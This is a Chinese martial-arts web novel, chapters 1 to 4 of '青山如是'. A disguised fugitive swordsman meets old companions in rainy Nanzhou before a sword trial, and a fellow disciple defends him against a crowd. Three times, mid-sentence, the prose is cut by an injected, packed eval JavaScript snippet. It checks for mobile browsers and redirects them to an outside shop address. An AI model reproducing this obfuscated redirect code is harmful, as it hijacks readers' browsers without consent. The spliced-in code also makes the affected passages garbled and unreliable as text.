《青山如是》 1. 第一章 南州城 细雨如丝,烟水迷离,正是南州好时节。薄薄一层水雾氤氲,江南春色犹如高阁之上蒙着面纱弹琵琶的姑娘,隐隐绰绰中,花红柳绿,欲说还休。 世人皆知,最美的春色在南州。 可只有来过南州城的人知道,三月里,最好不过清水河畔,杨柳风轻,鹭鸶亭亭。 这样的时节,清水河畔彩旗迎风,酒肆处处客满。 贺承不是第一回来南州,他早见过清水河春色,并不往临着清水河前头那几家酒肆茶寮去附庸风雅,免得跟那群吟诗敞怀的文人墨客挤在一处,相看生厌。 冒着沾衣细雨,沿着清水河缓步慢行,终于让他在角落里找到家寒酸破败的小酒肆。 南州城一百多号酒肆,贺承来的这间算是小的,将将能摆下六七张桌子。 酒肆的厅堂里除了这六七张桌子,没太多别的东西,连柜台上都是空无一物。可这一切看上去并不是一种窗明几净的整洁,更像是一种穷途末路的贫瘠荒芜。 店里的小二蔫头耷脑地站在门边,比不得前头几间酒肆沽酒的丫头活泼水灵,握着搭在肩上的一方发黄的抹布,也不懂招呼客人进店,连咧着嘴牵出的笑都嫌生硬。 贺承兀自摇头,无奈低笑。 这样做生意,怪不得门可罗雀。 这件小酒肆连招牌都没有,破败寒酸至极,可是清水河太长,清水河畔太挤,南州的梅雨天又太潮太凉,贺承走到这里,实在是走不动了。衣袖裤脚沾了水汽,便凝成了剜肉剔骨的冰锥,湿气层层叠叠漫上来,寒凉透骨,磨得人没了耐性,只想赶紧找个干净舒爽的地方待着,喝一壶热酒暖一暖。 都说南州春雨贵如油,可贺承只觉得,南州的雨天,比数九隆冬还要难熬。 贺承走进小酒肆,挑了张角落里的桌子坐下。 避雨,避风,也避人。 这间酒肆的生意是真的糟糕。别人家客人如织,店小二忙得恨不能长出六只手臂来,这里的店小二行事却极为懒怠温吞,像是指望上菜慢些再慢些,好让客人等不及,自行离开似的。 贺承等了好半天,店小二才终于热了酒送上来。 等不及斯斯文文地把酒倒进杯里,他直接举起酒壶往嘴里倒。酒水湿了半片衣襟,但好歹有大半壶热酒顺着喉咙滚滚烧进肚子里去,说不清是酒气驱寒,还是酒水麻痹痛觉,总之是把他经脉里的冷痛压下去了几分。 放下酒壶,贺承轻轻舒了口气,这才有精神打量着堂间坐着的人。 此时酒肆之中,将贺承自己算在内,也不过有三张桌子坐了人。 进门左手边的那张桌子上挤了三个人。 明明是宽敞的八仙桌,一人占着一条桌沿,还能留出一个口子给店小二上菜。可这三个人偏不,偏要像糖葫芦上的三颗山楂果似的,串在一起,挤在桌子的一侧。 居中坐着的是个身穿灰色粗布衣袍的壮汉,满脸蜷曲的胡子从下颌连到了鬓角,不修边幅,落拓潦草。 灰衣壮汉的左手边坐着个身穿碧色衣服的干瘦男人。他那样干瘦,衣裳的颜色那样苍翠,坐在那里像是立了一竿半人高的翠色竹子,伶仃又蓬勃。 余下的那人衣着打扮最是寻常,只是他吃肉喝酒用的都是左手,而右手空出来时刻抚着放在桌上的一把刀。刀在鞘里看不出好坏,可那刀鞘实在算不得精致,只有鞘口上一枝寒梅雕得栩栩如生,颇为惹眼。 这三人一个个拆开来,贺承未必能认得全,可他们比肩坐到一处,贺承一眼就能分辨出来—— 那是“虬髯客”李松、“一竿身”吴万里、“白梅刀”盛锦华。 这三人出身不同,师承各异,却因志同道合走到一起,同居漠北雪乡,因为名号里多少与松竹梅沾点边,附庸风雅,自号“白雪三友”。 贺承没同他们打过交道,只听他师父提起过,说这三个人眼里最是揉不得沙子,好打抱不平,年轻时得罪了很多人,后来许是结怨太多,又许是对什么人寒了心,住进雪乡,目中无尘,便不大出来走动了。 没想到,此番他们竟然愿意出山来南州。 贺承边喝酒,边留了耳朵听他们说话。 果然,便听见他们聊起了琴剑山庄的试琴会。 那边,虬髯壮汉李松仰头喝下一碗酒,“砰”地放下酒碗:“你们还记得上一次试琴会吗?江非沉当真是个好苗子,卓庄主悉心栽培,带了这么多年,眼看着能独当一面了,偏偏出了事。” “可不是嘛!”盛锦华手不离刀,边摩挲着乌木刀鞘,边应道,“别的不说,自打卓庄主认下江非沉,这试琴会已经停了六七年没办了吧?本以为琴剑山庄的下一任主人就这么定下来了,谁能想到啊。” 他们口中的试琴会原是四大门派之一的琴剑山庄为试练自家弟子举办的盛会,名曰试琴,实为比剑。琴剑山庄传到如今的庄主卓弘明这一代人丁不兴,他先后有过三个孩子,都是养到十来岁的年纪上,便突发急病夭折了。 后来,试琴会便成了他挑选继承人的途径。试琴会上崭露头角弟子,若有天资好的,就会被卓弘明认作义子,往后当做琴剑山庄的继承人养着。 而那江非沉便是上一届试琴会上的佼佼者。 琴剑山庄上一回办试琴会已经是七年前了,那时贺承不过十五六岁,被师父和师兄带着一起来过,不仅跟师兄坐在观礼台上,看江非沉使过剑,私下里也跟江非沉比试过。贺承还记得,江非沉那一招“潇湘水云”行云流水刚柔并济使得非常漂亮,连他都忍不住要喝彩,也难怪过去的六七年里,卓弘明会花那么大力气栽培江非沉。 只可惜,悉心教养了这么些年,如今江非沉还是死了—— 就死在青山城无涯洞外。 就死在贺承眼前。 盛锦华似是为江非沉愤愤不平,又似是感慨风云无常,抚着手边乌木刀鞘上雕着的梅枝沉默了片刻,摇头叹道:“往年试琴会,四大门派哪回不是卓庄主亲自迎进山庄里的?这回可是听说青山城那头,琴剑山庄连知会都没知会一声。要我说,也是难怪,青山城里无涯洞外的事已经有小半年了吧?那么多条人命说没就没,还死得那样惨,青山城至今都没给个说法,琴剑山庄不痛快也在情理之中。” “可不是嘛!”李松与凤鸣山有旧,当时同为四大门派的凤鸣山也有弟子和江非沉同样死在青山城,聊到这里李松不禁动气,“青山城就是粪船过江,在那装死呢!莫说琴剑山庄有气,凤鸣山肯定也是咽不下这口气。” 盛锦华笑意泛寒:“不错,眼下就看逐月阁二公子能不能挺过来,若他能醒,当日究竟发生了什么一问便知。即便青山城要继续缩头当王八,真相也能大白于天下。” 这头李松与盛锦华聊得兴起,那头吴万里却兀自举着酒碗若有所思。 他别号“一竿身”,确实瘦得厉害,春衫轻薄,几乎可以看见他强撑起衣袍的那一身嶙峋瘦骨。他瘦长的手指轻叩着碗沿,听了半晌,狭长的眼倏然一抬,忽然问同座友人:“你们说,贺承不过是个外姓弟子,青山城为何偏袒他至此?” 听了这话,贺承倒酒的手顿了一顿。 这个问题,不光吴万里想不明白,只怕除了贺承自己,没人能想得明白。 当初怕人认不得他的剑,辨不出他的招,贺承在江非沉他们身上刺那一剑时存心留了破绽,好教熟悉他用剑习惯的人一眼能看出那几剑出自他手。 也没曾想,反而弄出如今的局面—— 江湖上人尽皆知,他贺承手刃数人,畏罪潜逃,偏偏他的师门青山城三缄其口,事发将近半年,却不曾发声指责过贺承半句。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13134421|138408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这有什么好想不通的?都说是陆城主被贺承掳走了,自家掌门被人拿捏在手里,青山城哪里敢多说什么。”回答吴万里的,却是个少年清亮的声音。 声音自靠门边的那张桌子传来。 贺承循声看去,那张桌子围坐着四五个少年,都穿着明亮缃色衣衫,他认得,那是梧城凤鸣山弟子的装扮。细看之下,开口说话的年轻人不过十四五岁上下,眉宇间皆是少年人不羁的轻狂。 吴万里看他一眼,随口接了他的话:“你怎知是贺承掳走了陆城主?你亲眼见了?” “虽然不曾,但我听人说的!”那少年被那轻飘飘的一眼看得不服气,“我们掌门被卓庄主邀请入住琴剑山庄,我们就近住在了离山庄最近的月明楼。那可是南州城最好的客栈之一,住的都是几大门派的弟子。” 边说着,他边上下打量了吴万里一番。 都说先敬罗衣后敬人,吴万里他们几人无门无派,随性恣意惯了,衣着称不上华贵,颇有些落拓不羁的意思。那少年眉眼一扬,语气越发张狂起来:“三位前辈大概是没去过月明楼的,自然没听过几大门派的人议论此事。” “白雪三友”多年不在江湖上走动,那桌少年不过十四五岁,不认得他们倒也正常。 只见那少年昂着头,几乎要拿鼻孔看人,与他同座的师兄弟相互递了个眼色,也没人阻拦,只等着看热闹。于是,那少年说下去:“青山城嘛,想必前辈也是没有去过的,自然是不知道那一夜青山城无涯洞外,不仅有贺承与各派师兄的打斗剑痕,也有好几处断云掌的痕迹。” 少年爱卖关子,顿了一顿,又继续说:“断云掌是什么!那是青山城只传掌门的绝学,因此贺承伤人时,陆城主必然是已经听见动静赶到了无涯洞。但后来几大门派翻了遍青山城,既寻不见陆城主,也寻不见贺承,可见贺承逃离时,带走了陆城主。” 吴万里又问:“怎么就是贺承掳走陆城主,不是陆城主制住了贺承?” 那少年眉眼一挑,仿佛吴万里问了个蠢问题:“陆城主若非受制于人,怎么这么长时间都没有露过面?青山城在风口浪尖上煎熬了半年,身为掌门,他怎么能坐得住?” 其实这并不成少年一厢情愿的猜测。 关于青山城城主陆岳修的下落,江湖上早就众说纷纭。说他被贺承掳走,已经是最温和一种,更有骇人听闻者,猜测陆岳修被吸尽内力,早已油尽灯枯死在孽徒贺承手中。 吴万里存心要逗那凤鸣山的少年,又问:“陆城主毕竟是贺承的师父,武功修为都在贺承之上,贺承怎么能轻易掳走他?” “不能轻易做到,却不是必定做不到。”提到贺承,那少年脸上的神色有些复杂,半是崇拜,半是嫌恶,自顾自纠结了片刻,终于理顺了思路,“自古英雄出少年,若扒了尊师重道那层伪善的皮,舍命一搏,贺承未必就不能赢陆城主一招半式。不过,贺承这样的人实在可怕至极,人品有缺不仁不义,偏偏功夫修为还那么厉害——哎哟——” 少年话未说完,忽然捂着屁股惊叫一声。 他转过头,一眼看见酒肆门外站着个小男孩,举着弹弓,眯着一只眼看他。 高谈阔论被打断本就气人,何况还是被人拿弹弓射中屁股的方式打断的! 少年又羞又恼,转身过去,过去提着小男孩的衣领,语气不善:“哪里来的小东西,为什么拿石子打我?” 那孩子不过七八岁,长得又瘦又小,像只小鸡仔似的。凤鸣山少年人高马大,那孩子打又打不过,躲又躲不掉,被他提着衣领桎梏着,却毫不畏惧,仍伸着脖子冲那凤鸣山少年嚷嚷:“不许你们说贺承哥哥坏话!” 贺承哥哥? 角落里看热闹的某人手一抖,洒了半碗酒。 他什么时候招惹了这么个小家伙? 2. 第二章 雨中少女 春景正盛,又兼琴剑山庄的试琴会在即,这几日南州城里人流如织。落雨的天气,街上的人本是不多,可清水河沿岸的酒肆茶寮却几乎家家客满,文人吟咏,武人喝酒,各自逍遥。 贺承来的这家酒肆虽小虽破,却也是正经开在清水河岸的。凤鸣山的少年捉着那个孩子,在小酒肆门外闹出动静不大不小,引得不少坐在周围店铺里的人好奇探头。 一大一小两个孩子争执不下,瘦小的孩子已经被愤怒的少年提着领子拎离了地面。 “我大哥说,贺承哥哥是好人!不许你们说贺承哥哥坏话!”那孩子依旧面无惧色,边大声嚷嚷为他的贺承哥哥抱不平,边挣扎扑腾,不小心往少年干净整洁的缃色衣袍上踹了几脚,留下几个灰扑扑的鞋印。 那缃衣少年卖弄显摆时,被这样一个手无缚鸡之力的孩子用石子打中屁股,已经丢了一回面子,现下又被他踹了几脚,脸上更挂不住,胸口腾起的那团怒火更盛。 偏偏这孩子还在替贺承说话! 他越想越气,非得要跟孩子争个输赢:“贺承怎么可能是好人!你家里人替他说话,可见你家都是黑白不分之人,今日我便来教教你什么是是非善恶!” 缃衣少年又羞又恼,满脸涨红,抬高了手臂,将孩子举得更高些,威胁道:“你说,贺承滥杀无辜,残害同门,不敬尊长,是禽兽不如的大恶人!快说!说贺承是禽兽不如的大恶人!不然我就松手,把你摔下去!” “我不!”孩子果断拒绝,在少年手里扭着身子嚷嚷,“你胡说!我大哥最厉害,他什么都知道!我大哥说贺承哥哥是好人,他便一定是好人!” 贺承哭笑不得地听着两个孩子在大街上争论自己究竟是不是好人,实在想不出这场闹剧最终将如何收场。他想要赶紧远离这是非之地,可偏偏惹事的两个孩子就堵在门口,他留也不是,走也不是,如坐针毡。 忽而,那凤鸣山的少年在门外又是一声惊叫。 贺承抬眼看过去。 争执不休之下,少年边出言威胁,边将那瘦弱的孩子越举越高,不知何时,那孩子已被少年举过了头顶。挣扎许久无法挣脱少年的桎梏,孩子气急了伸长了脖子,往少年手臂上狠狠咬了一口。 少年吃痛惊呼,一时松了手,那孩子便直直摔了下去。 沿河修建的屋子总是留出几级台阶,防着雨季涨水。这间酒肆当然也不例外,距离少年和孩子半步之外便是五六级台阶,虽然不高,但凹凸不平,那孩子摔下去砸到台阶上面,必定受伤不轻! 心念至此,贺承身形已动。 他来的时候挑的是酒肆最靠内的一张桌子,酒肆里桌椅横斜,要绕行到门口去阻碍颇多,于是他撑着桌面一跃而起,果断飞身而起,像雨前低飞的燕子一般,贴着桌面横飞出去,长手一探,擦着地面将那孩子捞进怀里的。 他的速度极快,只在电光火石之间。。 即便是同在一间酒肆里的人,也没能看清角落里的贺承身形是怎么动的,只觉得鬓边冷风轻掠,眼前一道深色人影闪过,眨眼间的功夫,飞身掠出的人已经稳稳落回地上,那孩子也被接住稳稳放在地上。 众人看得分明,接住孩子的人并不是离那孩子最近的,也不是身形动得最早的,却最是游刃有余,落地时那孩子甚至都还没来得及哭。 意外发生之时,吴万里也飞身而出想去接住那孩子。 他清瘦至极,身量颇轻,轻身功夫是出了名的好,坐的位置也比贺承离门要稍近,饶是如此,他依然落后了贺承半步。看着自角落里斜飞出来的这个年轻人,连吴万里都忍不住拍手赞叹:“好身法!” 原本两个孩子当街争执,周围酒肆茶寮里人也就是看个热闹。忽然不知从哪里出来一个轻身功夫绝佳的年轻人,看热闹的人逐渐认真起来,站到窗边檐下,交头接耳讨论起救下孩子的那个年轻人来。 街巷狭小,贺承耳聪目明,这些议论很难不落入他耳中。 如今“贺承”这两个字恶名远扬,他实在是不想再出任何风头。可为着这一番变故,护着那孩子站在街巷中央的他竟又成了众人瞩目的焦点。 事与愿违,贺承只觉得头疼。 假借着蹲下身安抚孩子的机会,贺承暗暗摸了一把自己的脸。 幸好在进城前,他老老实实戴好了这张胶皮面具,将自己改头换脸,否则面对面撞上这满大街嫉恶如仇的江湖英雄,他就算不被拆骨扒皮,也会被唾沫星子淹死了。 事发突然,刚刚斗志昂扬的孩子小脸煞白,半天没说话。 贺承捏捏孩子的脸颊,笑他:“吓傻了?刚刚不是挺厉害的吗?” 那孩子呆呆看着贺承,也不知道是被刚刚的变故吓的,还是被戴着面具的贺承那一张僵硬的“死人脸”吓的,半天挤出一句:“哥哥,我的弹弓坏了。” 贺承眉尖微微挑了一下,不哭不闹,一开口提的竟是弹弓?他顺着小孩的视线低头看了一眼,果然看见小孩捏在手上的弹弓已在兵荒马乱中断成两节。 他笑着又捏了一下孩子的脸颊:“知道了。” 说罢,贺承扶着孩子的肩膀,借力站起身,转过身去,只见那一桌刚刚隔岸观火的凤鸣山弟子不知什么时候都站了起来,那个险些摔伤孩子的少年自知理亏,默默躲到他的师兄弟身后去。 这时候知道怕了? 凤鸣山教出的年轻人何时成了这个样子?爱惹事,又怕事。 贺承又是觉得好气,又是觉得好笑。他牵起孩子的手走过去。他们往前迈了几步,那帮少年便往后退了几步,直到退无可退,那群少年里才有个年纪看着稍大些的站出来,故作镇定地问:“你,你要做什么?” 贺承拿手按着那孩子的肩膀,把他推到身前来,用下巴指了指被他们护在身后的惹事少年:“让他来给这孩子道歉。” 话刚说完,对面还没人应话,贺承先觉得有人在扯他衣服。他低下头,只听得一个细细亮亮的童声提醒他:“哥哥,弹弓。” 贺承失笑,又补上一句:“再赔给他一副弹弓。” 十四五岁的少年心气高,哪里肯当着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13134422|138408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一大街的人,向无名小卒低头。惹事的少年依旧嘴硬:“我为什么要道歉?我没有错!人尽皆知,琴剑山庄江师兄、逐月阁小孟师兄,还有我们飞白师兄,都在贺承剑下或死或伤,连青山城的陆师兄也死在贺承手里。他无故伤人,怎么不算是个恶人?” 听到这里,贺承有些笑不下去。 是啊,他手上沾了这么多条人命,怎么不算恶人呢? 时至今日,贺承依然清清楚楚地记得那一夜—— 凌云剑吹毛可断,可那夜他持剑刺穿他们的心脏,剑刃每推进一寸,都像是被重重山峦阻挠;他自恃剑法精妙,可那夜他挥剑挑断他们的经脉,只觉得自己的手腕僵硬如积年无人管顾的老旧机窍。 那夜他把剑从他们心口抽出,他们的血便喷溅出来,淋了他满头满身。 他还记得,那血水,还是温热的! 对面的人沉默许久没说话,那少年紧紧盯着他,底气不足地争辩:“我,我没有错!” 陷在往事里的贺承被少年的声音拉回来,一时竟有些站不稳,只扶过身边孩子的肩膀,暗暗借力撑在他的肩上。贺承虚弱地抬眼看那少年,声音越发低沉:“如你所言,贺承残害同道,连真心善待他的师兄都不放过,确实罪大恶极。” 他顿了一顿,像是刚刚的一句话耗费了他许多力气,缓过一口气,才能继续说下去:“今日你捉住的若是贺承,要杀要剐,自然没人会拦你。可这孩子与贺承毫无关系,你却差点伤了他,理应向他道歉。” 少年涨红了脸说不出话,可未等他应声,却另有一个清脆女声插进对话里来:“是谁要杀我师兄,剐我师兄!” 听见这声音,贺承心中一紧。 他抬眼看去,只见细雨中的街巷走出一名打着碧色油纸伞的少女。少女一手打伞,一手持剑,此时无风,她走来的每一步都极沉极稳,衣袂裙摆纹丝不动,仿佛被什么东西沉沉压着,显得分外庄重。 那柄碧色油纸伞的伞沿压得很低,雨水串串滚落,直如挂了一道珠帘,没人能看清伞下少女的模样。 可贺承听过声音,便已经知道她是谁。 她的模样,他闭着眼都能绘出来。 他一动不动地立着,看着她步步走进,只觉得眼眶发热。 少女径直朝这间小而简陋的酒肆走来,在门外站定。碧色的伞缓缓上抬,伞柄轻转,水雾横飞里,露出一张极美的脸。 她看着大约是十八九岁的年纪,皮肤白而剔透,宛若一块上好的冷玉。那张饱满的鹅蛋脸,便是用莹白色冷玉精心雕琢出来的,又恰到好处地缀上眉眼唇齿,居中处挺直的鼻梁正正好撑出这张脸流畅而立体的轮廓。最妙不过那双浑圆杏眼,眼白极白,眼珠极黑,黑白分明之下,目光就显得分外澄澈,映着南州成遍地的水光,眼波盈盈,流转万千,自成风流。 她收了伞,站到贺承面前,盯着他:“是你说要杀我师兄,剐我师兄吗?” 贺承垂下视线,盯着她手里还在滴水的油纸伞,哑着嗓子反问她:“难道不该吗?” 3. 第三章 横秋 雨水顺着伞沿滴落,贺承想起那一夜从他手中凌云剑锋刃上滴落的血水。 都是水珠落地,声音很是相似。 可血是热的,雨却是冷的。 盯着冰冷的雨水看了半晌,将翻涌的情绪压了下去,贺承重新抬头盯着那撑伞的少女,似笑非笑又问一遍:“贺承不仅无故杀人,更残害同门,难道不该杀吗?” “天下兵刃何止千万,就没有一柄剑会刺出与凌云剑一样的伤口吗?即使那些伤当真出自凌云剑,便一定是我师兄刺的吗?即便,即便果真我师兄用凌云剑伤的人——”说到这里,少女大概也觉得有些理亏,顿了一顿,语气却不肯弱下来,“反正我师兄是不会无故伤人的,即便果真动了手,这其中一定有什么别的缘故!” 贺承戴着胶皮面具做不得表情,在旁人看来,他的面容如被冻住一般僵硬,可他看着少女的目光比阳春三月清水河里的水波还要温柔。他默不作声地盯着她看,安安静静地听她把话说完,久久没有出声。 可少女说了那么长一段话,无人应声,像是一拳打进棉花里,令人难受极了。她顿了一下,只得又往下补上一句,勉强做个总结:“总之,此事尚未定论,你不能无端往我师兄身上泼脏水!” 贺承垂眼低笑,轻声重复:“竟还是未有定论?” 他说这话的声量不高,分明是喃喃说给他自己听的。可少女离他太近,不仅完整听见这话,还将他语气里的嘲弄听得分明,登时恼怒起来:“还未寻着我师兄,这事自然未有定论!” 这少女对贺承偏袒太过,几乎到了无理取闹的地步。可贺承心想,不能纵这样着她在南州城里任性妄为,一面感动于她的回护,一面提醒她:“话可不能这样说,若一人畏罪潜逃,却长久地找不到他,这人便无罪了吗?” “你——”她一时语塞,杏眼含怒,狠狠看着面前戴着胶皮面具的贺承,长剑出鞘,横剑当胸:“一派胡言!你向我师兄道歉!” 满大街都是看热闹的人,这丫头怎么还越闹越大? 贺承微微皱眉,无奈:“姑娘,你得讲点道理。” “我的剑便是我的道理!”见他依然不肯低头,少女片刻没有耽误,挽了个剑花,便挥剑向他刺来。 虽是猝不及防,可贺承的应对依旧显得游刃有余。长剑当前,他半步未动,左手将身边的孩子拨到身后护住,待少女的剑递到眼前来,如水剑光映过他的眉眼,才悠悠然抬起右手,伸出两指轻轻夹住剑刃,止住攻势。 他不是轻敌,他只是太过了解她。 她的心肠是软的,断不会因为几句龃龉就动了杀念,是以出剑虽疾,却不是杀招。 名剑出鞘,围观的人中当即有人认出少女来—— “是横秋剑!” “横秋?她是青山城的陆晓怜!” 那少女确实就是青山城城主陆岳修捧在手心里的独女陆晓怜。 剑气横秋。 她手中这柄横秋剑,当年还是贺承起的名字。 数月前离开青山城后,贺承这是第一次见到横秋剑,也是第一次见到陆晓怜。 当时事出突然,他与师父仓皇离开青山城,来不及给陆晓怜留下只言片语;如今他经脉俱损,没多少日子好活,更无须同陆晓怜多解释什么。她与世人一样,只看见那几具尸首上的伤尽数出自凌云剑,出自贺承。 那之中,还有她的大哥陆兴剑。 贺承本以为,她会恨他,那本也是理所应当的事情。 可今日在南州城重逢,相见不相识,她说的每一句话却都在护着他。 贺承手腕一翻,剑光从眼前掠过,他夹紧剑刃,凭着手腕的巧劲往后扯,像钓鱼一样,将握着剑柄的陆晓怜拉得离自己更近些。他不可能伤她,把人拉近些,只是为了方便跟她说话:“江非沉死后,琴剑山庄与青山城结怨不浅。你在南州城里替贺承说话,是嫌这事闹得还不够大吗?” “我怎么想的,便是怎么说的!”陆晓怜横掌隔档,试图将自己的剑从贺承手中抽出来,“青山城弟子重情义,岂会因为怕事,任由你们胡说八道构陷同门!” 贺承皱眉:“你只身来南州,青山城的人就不管你吗?” “这是我们青山城自己的事。与你何干?”说话间,贺承夹着剑刃的手指稍稍松动,陆晓怜像一尾机敏游鱼,找到机会,抬手一掌拍上贺承胸口,借着将他往后推的力道,将横秋剑自贺承手中抽了出来,灵巧脱身。 为了夺回横秋剑,陆晓怜拍出去的那一掌用了三四分的力气,可她也没打算伤人,掌风里没带上分毫内力。可这轻飘虚孱的一掌,竟逼得贺承往后退了几步,直退得脊背抵到酒肆门框上,才堪堪稳住身形。 陆晓怜错愕地看着自己的手掌。 她在附近听见少年与孩子争执,探头出来看时,正巧见到这人自酒肆里凌空而出,救下了那个孩子。能让“白雪三友”中的吴万里拍手称赞的人,能两根手指头止住横秋剑攻势的人,却被自己空无一物的一掌,生生逼退几丈远—— 这人,莫不是装的? 江湖上行走,认剑,比认人容易。横秋出鞘,想必已有不少人认出她来。 今年的试琴会,琴剑山庄连邀帖都没往青山城送,可见因为江非沉死在青山城,琴剑山庄已与青山城结怨。而她身为青山城城主之女,却在试琴会期间的南州城,当街持剑闹事,与人大打出手,险些一掌将人打飞,这事传开了,岂不是要让琴剑山庄在账上多记一笔! 这人明明认得她,明明知道琴剑山庄与青山城的恩怨,明明武功高强,却要在人前装模作样,陷她于不义,究竟安的什么心? 想到这里,陆晓怜又急又气,看着倚着门框的那人:“你这是——” 贺承扶着门框站稳,偏过头去闷闷咳了几声,哑着嗓子打断她:“与你无关,是我自己没站稳。” 先入为主地觉得这人动机不纯,陆晓怜没弄清他葫芦里卖的什么药前,犹豫着没有应声。忽而,她觉得身边光线微变, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13134423|138408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转头看去,竟是有人踏雨而来,落到她身边。 来人是个与陆晓怜年纪相仿的男子,穿一身暗青色衣衫,发髻梳得一丝不苟,兰芝玉树般在站在那里,不像是拿刀剑的江湖子弟,倒像是书坊里执笔墨的秀才。 他向贺承拱手一礼,替陆晓怜应了他的话:“既是交了手,便不能说与我们无关。这位朋友,不妨借一步检查一下伤势,万一真受了伤,我们自然要负责到底。” 很不巧,与陆晓怜并肩而立的这位,贺承也认识。 不仅认识,还挺熟。 这是拜在他师叔门下的师弟钟晓。钟晓与贺承一样无父无母,幼年便拜入山门,在最讨人嫌的年纪,两人结伴捣乱,是一起上房揭瓦,又一起挨打受罚的交情。 贺承眼皮一跳。 他出发来南州时本也有过预期,近日南州人声鼎沸,此行难免会遇见一些故人,只是他确实没有想到,竟会遇见与自己渊源这样深的两个人。 可是贺承这趟来南州城,毕竟不是来找故人叙旧的。 他暗自调息,压下经脉间翻腾的内息,勉强往前迈了两步,对着钟晓拱手还礼:“多谢好意,方才确实是我没有站稳,与这位姑娘无关。我没什么事,就不必麻烦二位了,我们就此别过。” 贺承一边说着话,钟晓一边仔细打量着他,眉头越拧越紧。 他虽与陆晓怜一般大,但心思比她细,只是一个照面便觉得眼前这个人说不上的古怪。这样一个稀奇古怪且来路不明的人,偏偏挑此时混迹南州城里,又偏偏要卷进与青山城相关的纷争里,究竟想做什么? 此时的南州城鱼龙混杂,像是一方池塘,将一滴水放回去,要再找到便难如登天。 出于好奇,钟晓很想拦下这人多聊几句,可一时之间又想不到借口,只能眼睁睁看着他礼了一礼就转身要走。 恰在此时,有一队穿着琴剑山庄衣饰的人疾步快走,朝这边过来。 这队人训练有素,在酒肆门外站定,即刻兵分两路,一组人到街上客气但强硬地驱散凑热的人群,另一组则径直走进那间小酒肆里。 酒肆里原本有也只三桌客人,因为刚刚的风波,贺承、吴万里和凤鸣山的那几个少年已经退到了门外,大堂里只有“白雪三友”中的李松、盛锦华泰然坐着喝酒。 那行事温吞的店小二见到这波人,登时来了精神,轻车熟路地从柜台后摸了一块碎银出来,同李松他们说:“两位大侠,小店被这几位客官包场了,今日这顿酒算我们的,给二位添麻烦了。” 此刻并不是饭点,他们也没点几样菜,坐在这儿,不过是喝酒聊天。 虽说事有先来后到,但“白雪三友”早过了年轻气盛的年纪,既并不想生事,又想卖琴剑山庄一个面子,并未收店小二的银子,起身便走了。 门外将走未走的贺承本来便是要走的,可没迈开几步,刚刚他救下的那个孩子就蹬蹬跑过来,扯了扯他的衣角,小声哀求:“哥哥,他们都是坏人,你帮帮我们!” 4. 第四章 是非 “帮帮你们?” 孩子求助的是贺承,可出声回应的人却是钟晓。 自打卷入酒肆门外的这场是非起,钟晓就对这个顶着一张无表情“死人脸”的青年充满好奇,即便此时无缘无故地来了一拨琴剑山庄的人,也没能将他的注意力吸引过去。因为全心关注着贺承,钟晓很轻易便听见了他身边那个孩子的话,也很轻易地从他微凝的眉眼间猜测他不会放任这个孩子不管。 这孩子之前是被贺承救下的,自然是更信任贺承。发现钟晓偷听他说话,他不满地撅了撅嘴,往贺承身边躲了躲,抿着嘴唇不肯再多说什么。 幸而,钟晓是同陆晓怜一起来的。 漂亮的女孩子似乎有与生俱来的亲和力。 果然,陆晓怜哄人就比钟晓管用得多。她在孩子面前蹲下来:“小弟弟,我们不是坏人,什么事需要人帮忙的,你也可以告诉姐姐呀。” 可惜这孩子记仇,还记着陆晓怜刚刚冲着贺承拔剑的事,攥着贺承的衣角又往后退了半步,用力摇了摇头:“可是你刚刚打哥哥了!” 贺承低头,好笑地看见陆晓怜脸上堆出来的笑意僵了一下。 “姐姐不是故意的,是因为,嗯,因为这个哥哥刚刚说你贺承哥哥的坏话,姐姐就是太生气了。”陆晓怜说到这里,下意识抬头看了贺承一眼,这人面无表情的样子实在让人生气,她忍不住又狠狠瞪了他一眼。 莫名其妙被瞪了一眼的人无辜地摸摸鼻子,百无聊赖地想,陆晓怜眼里,贺承是好人,说贺承坏话的人是坏人,那自己究竟是好人还是坏人? “你也觉得贺承哥哥不是坏人,对不对?”陆晓怜拉着孩子的手,压着声音告诉他,“那姐姐跟你说个秘密,你贺承哥哥是我师兄,我跟你一样,就算全天下的人都说他是坏人,我也是不信的。” 说到这里,她的声音缓下来,沉下去,接下去的话不像是说给那个孩子听的,倒像是说给她自己听的:“我要找到他,我要听他自己说。别人说什么,我统统不会信!” 贺承好整以暇地看陆晓怜跟小孩子斗智斗勇,听了这话,轮到他的笑意僵在脸上。 他离开青山城时,什么也没有说,只留下了无涯洞外的一地狼藉。他早就做好沦为众矢之的的准备,也早就做好陆晓怜恨他入骨的准备,如今隔着一张胶皮面具与她重逢,相见不相识,却见到她坚定地选择要信他,要跟他站在一起。 虽千万人,亦往矣。 